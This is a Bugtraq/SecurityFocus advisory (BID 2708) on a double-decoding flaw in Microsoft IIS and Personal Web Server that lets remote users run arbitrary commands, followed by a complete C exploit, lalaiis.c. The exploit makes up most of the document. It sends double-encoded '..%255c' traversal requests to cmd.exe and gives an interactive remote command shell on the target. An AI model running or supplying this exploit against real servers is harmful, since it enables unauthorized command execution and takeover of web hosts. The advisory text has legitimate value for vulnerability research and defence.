source: http://www.securityfocus.com/bid/2708/info
   
Due to a flaw in the handling of CGI filename program requests, remote users can execute arbitrary commands on an IIS host.
   
When IIS receives a CGI filename request, it automatically performs two actions before completing the request:
   
1. IIS decodes the filename to determine the filetype and the legitimacy of the file. IIS then carries out a security check.
   
2. When the security check is completed, IIS decodes CGI parameters.
   
A flaw in IIS involves a third undocumented action: Typically, IIS decodes only the CGI parameter at this point, yet the previously decoded CGI filename is mistakenly decoded twice. If a malformed filename is submitted and circumvents the initial security check, the undocumented procedure will decode the malformed request, possibly allowing the execution of arbitrary commands.
   
Note that arbitrary commands will be run with the IUSR_machinename account privileges. Reportedly, various encoding combinations under Windows 2000 Server and Professional may yield different outcomes.
   
Personal Web Server 1.0 and 3.0 are reported vulnerable to this issue.
   
The worm Nimda(and variants) actively exploit this vulnerability.

/*  lalaiis.c
    (or Microsoft IIS/PWS Escaped Characters Decoding Command Execution
        Vulnerability) 
   
   Bugtraq id: 2708 

   It gives you a "shell-like" environment to test your IIS servers
   Coded by MovAX <movax@softhome.et>
   Greetz to: lala, HeH! Magazine staff <http://www.dtmf.com.ar/digitalrebel>
   Fuckz to: Feel free to add your handle to this section.

*/


#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

void usage(void) 
{
 fprintf(stderr, "\nusage: ./lalaiis website> vulnerable_directory");
 fprintf(stderr, "\nwhere vulnerable_directory can be any 'scriptable' dir (like scripts msadc)");
 fprintf(stderr, "\nex: ./lalaiis www.foo.bar scripts\n");
 exit(-1);
}

int main(int argc, char **argv) 
{
 int i, le_socket, le_connect_error, le_timeout ;
 int timeout=80;
 int port=80;
 char temp[1];
 char host[512]=""; 
 char command[1024]="";
 char request[8192]="GET /";
 struct hostent *he;
 struct sockaddr_in s_addr;

 printf(":: lalaiis.c exploit. Coded by MovAX\n");

 if (argc < 3)
    usage();
    
 strncpy(host, argv[1], sizeof(host));
 
 if(!strcmp(host, "")) 
	{
	 fprintf(stderr, "put a damn server\n");
	 usage();
	}

 printf("\n:: Destination host > %s:%d\n", host, port);


 if((he=gethostbyname(host)) == NULL) 
	{
 	 fprintf(stderr, "put a damn VALID server\n");
	 usage();
	}

for (;;)
{
		  command[0]=0;
		  printf("\nlala_shell> ");
		  if(fgets(command, sizeof(command), stdin) == NULL)
		  	  perror("gets"); 
		  command[strlen(command)-1]='\0';
		  if(!strcmp("logout", command))
		  	  exit(-1);

 	 for(i=0;i<strlen(command);i++) 
		 {if(command[i]==' ')
		  	command[i]='+';
		 }

	 strncpy(request, "GET /", sizeof(request));
         strncat(request, argv[2], sizeof(request) - strlen(request));
         strncat(request, "/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+", sizeof(request) - strlen(request));
 	 strncat(request, command, sizeof(request) - strlen(request));
	 strncat(request, " HTTP/1.1\n", sizeof(request) - strlen(request));
	 strncat(request, "host:" ,sizeof(request) - strlen(request));
	 strncat(request, argv[1], sizeof(request) - strlen(request));	
 	 strncat(request, "\n\n", sizeof(request) - strlen(request));

	 s_addr.sin_family = AF_INET;
 	 s_addr.sin_port = htons(port);
 	 memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr, 
 		sizeof(s_addr.sin_addr));	

 	 if((le_socket=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) 
		 {
	 	  perror("socket\n");
	 	  exit(-1);
		 }
 	 alarm(le_timeout);
 	 le_connect_error = connect(le_socket,(struct sockaddr *)&s_addr,sizeof(s_addr));
 	 alarm(0);
	 
 	 if(le_connect_error==-1) 
		 {
	 	  perror("connect");
	 	  exit(-1);
	 	  close(le_socket);
		 }
		 
 	 send(le_socket, request, strlen(request), 0);
 	 while(recv(le_socket,temp,1, 0)>0) 
		 {
         	  alarm(timeout);
	 	  printf("%c", temp[0]);
         	  alarm(0);
		 }	
}
  close(le_socket);	
  return 0;
}
